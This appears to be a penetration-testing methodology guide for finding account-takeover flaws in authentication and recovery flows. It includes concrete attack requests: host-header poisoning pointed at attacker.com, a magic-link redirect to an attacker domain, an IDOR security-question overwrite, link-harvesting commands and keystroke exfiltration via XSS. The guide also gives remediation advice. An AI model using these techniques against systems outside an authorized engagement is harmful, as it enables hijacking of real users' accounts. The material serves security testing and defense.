During authorized assessments of any authentication, registration, or account-recovery flow
When testing password reset, email change, magic-link, or invite flows for token reuse and host-header poisoning
When the app supports third-party SSO/OAuth/OIDC and may normalize emails differently than the IdP
When testing cross-device login surfaces (desktop QR login, TV/device-code, "approve on your phone")
When you have a limited XSS, CORS misconfig, CSRF, or subdomain takeover that could pivot into ATO
Prerequisites
Authorization: Engagement scope covering authentication and at least two test accounts (attacker + victim) you own
Burp Suite: For intercepting and replaying reset/verification requests and manipulating headers/responses
Two browsers/profiles: To test session/link binding and reuse across contexts
OOB infra: A domain you control for redirect/exfil tests and a webmail address for confusable-email tests
gau / waybackurls: To hunt for additional reset/magic links in historical data
Critical: Variants Most Often Missed
ATO scanners check "can I brute force the password". The high-impact bugs live
in the recovery and identity-binding logic. Test every variant below.
# 1. Unicode / normalization email collision (THE classic miss)
victim@gmail.com vs vićtim@gmail.com # app normalizes AFTER binding the artifact
victim@ćompany.com # attack the DOMAIN part if IdP verifies local part
# Also compare DB collation vs SMTP vs OAuth/OIDC interpretation of the same mailbox.
# 2. Reusable / non-expiring reset or magic link
# - works after an email change
# - works from a 2nd browser/device/profile
# - find more links via gau / wayback / scan.io
# 3. Pre-account-takeover
# Register victim@x.com BEFORE they sign up; wait for them to confirm via OAuth.
# Or: register + verify attacker@x.com, then change email to victim@x.com with
# NO secondary verification -> verification bypass.
# 4. Password-reset / host-header poisoning
Host: attacker.com
X-Forwarded-For: attacker.com
Referer + Origin + Host all = attacker.com # then use "resend email"
# 5. Response manipulation (boolean / status oracle)
# Change 4xx -> 200 OK ; body -> {"success":true} or {}
# Change auth response false -> true
# 6. Open redirect in magic-link redirect_url/next/return_to/callback
# Land the post-login redirect on attacker origin first to steal token.
# 7. Session does not invalidate (old cookies keep working after logout / re-login).
# 8. QR / device-code login abuse (treat qrId/device_code like reset tokens):
# unbound session, reusable codes (double login), predictable codes, weak approval context.
# 9. Privileged param in an authenticated flow:
# "update security questions" takes a username param -> overwrite ANY account's recovery data.
Magic-link / passwordless probe:
POST /api/auth/magic-link HTTP/1.1
Host: target.tld
Content-Type: application/json
{"email":"victim@target.tld","redirect_url":"https://attacker.tld/callback"}
Security-question overwrite (IDOR in an authenticated reset flow):
POST /reset.php HTTP/1.1
Host: target.tld
Cookie: PHPSESSID=<low-priv-session>
Content-Type: application/x-www-form-urlencoded
username=admin&new_answer1=A&new_answer2=B&new_answer3=C
How to CONFIRM a hit (avoid false negatives)
Email collision: you receive the victim's reset artifact / are logged in as the victim after submitting a confusable address. Confirm the session resolves to the victim's userId, not just a similar email string.
Reusable link: the SAME token authenticates in a second browser, or still works after the victim changes their email/password — confirmed reuse.
Pre-ATO: after the victim confirms via OAuth, your pre-set password still logs into their account.
Response manipulation: forcing 200/{"success":true} actually advances the flow to an authenticated state (you reach a post-auth page or get a valid session cookie), not just a cosmetic UI change.
QR/device-code: approving on one device authenticates a DIFFERENT browser, or the same code logs in twice.
Always verify with a concrete post-auth action (read victim-only data, change a victim setting) and capture the victim userId/email from an authenticated response.
Workflow
Step 1: Map the Auth & Recovery Surface
Enumerate login, signup, password reset, email change, invite, SSO callback, and cross-device login endpoints. Note which artifacts are tokens vs links vs codes and where each is delivered (email, URL, fragment, JSON body).
Step 2: Test Email Normalization Collisions
# Create attacker account with a confusable of the victim address you control mail for
vićtim@yourmaildomain (or victim+unicode variants)
# Drive forgot-password / email-change / invite with the confusable value
# Watch whether the artifact binds to your raw Unicode address but matches the victim row
Cross-check: does the backend send mail to the user-supplied address or to the canonical DB address? If user-supplied, it is usually exploitable.
Step 3: Attack Reset / Magic-Link Tokens
# Reuse: capture a valid reset link, then redeem it from a 2nd browser/device# Persistence: redeem AFTER changing the account email# Discovery: harvest stale links
gau target.example.com | grep -Ei "reset|token|magic|verify|confirm"
Verify single-use and browser/app binding by opening links across two browsers, webmail vs native mail, and browser vs native app.
Step 4: Host-Header & Response Manipulation
POST /api/forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-For: attacker.com
{"email":"victim@target.tld"}
If the reset email links to attacker.com/...?token=..., the victim clicking it leaks the token. Separately, intercept auth/verify responses and flip status/body (200 OK, {"success":true}) to test client-side trust.
A) Register victim@x.com + set password. Wait for victim to sign up via OAuth.
If regular signup is later "confirmed", your password may still work.
B) Register + verify attacker@x.com, then change email to victim@x.com.
If no secondary verification on change, victim@x.com is now attacker-controlled.
Step 6: Cross-Device / QR Login Abuse
1. Start QR/device-code flow in the ATTACKER browser; capture the polling/status endpoint and qrId/device_code.
2. Reuse the same qrId/device_code from a SECOND browser or after first login completes (double login).
3. Swap session identifiers between two accounts; check if approval follows the CODE not the originating session.
4. Brute-force short/sequential qrId values; race parallel polling.
5. Replay a stale/redeemed code from the wrong context.
Step 7: Pivot From Other Bugs
Chain CORS misconfig (steal auth data), CSRF (force email/password change), XSS (steal cookies/localStorage; attribute-only login XSS can hook onkeypress and exfil keystrokes via new Image().src), or subdomain takeover + cookie fixation/tossing.
Key Concepts
Concept
Description
Normalization Collision
UI/DB/SMTP/IdP interpret the same Unicode mailbox differently, binding artifacts to the attacker
Pre-Account-Takeover
Attacker registers the victim's email before signup; victim's later OAuth confirm hands over the account
Verification Bypass
Changing a verified email to the victim's with no re-verification authenticates the attacker as the victim
Host-Header Poisoning
Reset email built from attacker-controlled Host/XFF/Referer/Origin points the link at attacker domain
Reset/magic links that are multi-use, cross-device, or survive email change
QR/Device-Code Abuse
Unbound sessions, reusable/predictable codes, weak approval context in cross-device login
Session Persistence
Old cookies still valid after logout/re-login
Tools & Systems
Tool
Purpose
Burp Suite
Intercept/replay recovery requests, manipulate headers and responses, compare token binding
gau / waybackurls
Discover additional/stale reset and magic links from historical crawl data
Two browsers/profiles
Test single-use and session/link binding across contexts
OOB domain
Capture leaked tokens via open-redirect / host-header poisoning
Unicode/confusable generators
Produce normalization-collision email variants
OAuth/OIDC debug tooling
Inspect IdP callback emails and token binding for SSO ATO
Common Scenarios
Scenario 1: Unicode Email Collision
The app stores victim@gmail.com but a permissive collation matches vićtim@gmail.com. The reset token is bound to the raw attacker-supplied address, so the attacker receives a working reset for the victim's account.
Scenario 2: One-Click Email-Change Takeover
The attacker initiates an email change, receives the confirmation link, and sends it to the victim. When the victim clicks it, the victim's email is changed to the attacker's value; the attacker then resets the password and owns the account.
Scenario 3: QR Login Session Swap
A desktop QR login uses a reusable qrId. The attacker starts the flow, captures qrId, and tricks the victim into approving it; approval follows the code, authenticating the attacker's browser into the victim's account.
Output Format
## Account Takeover Finding
**Vulnerability**: Account Takeover via <variant, e.g. email-change verification bypass>
**Severity**: Critical (CVSS 8.8)
**Location**: POST /api/account/email (email change flow)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Register and verify attacker@test.com
2. Change account email to victim@test.com (no secondary verification sent)
3. Backend now treats victim@test.com as verified and attacker-controlled
4. Log out; request password reset for victim@test.com -> reset mail arrives in attacker mailbox
5. Authenticate as victim; confirmed via victim-only profile data (userId 4471)
### Evidence
| Step | Observation |
|------|-------------|
| Email change | 200 OK, no verification email to victim |
| Reset request | Token delivered to attacker mailbox |
| Post-auth | /api/me returns victim userId and PII |
### Impact
Full takeover of any account by email address, with no access to the victim's
mailbox required for the change step.
### Recommendation
1. Require re-verification (and current-password/2FA) on email change
2. Bind reset/magic-link tokens to a single use, short TTL, and the originating session/device
3. Build reset URLs from a server-side allowlisted host, never from request headers
4. Canonicalize emails consistently across UI, DB, SMTP, and IdP; reject confusables
5. Never trust client-side status/body for auth decisions; invalidate sessions on logout and credential change
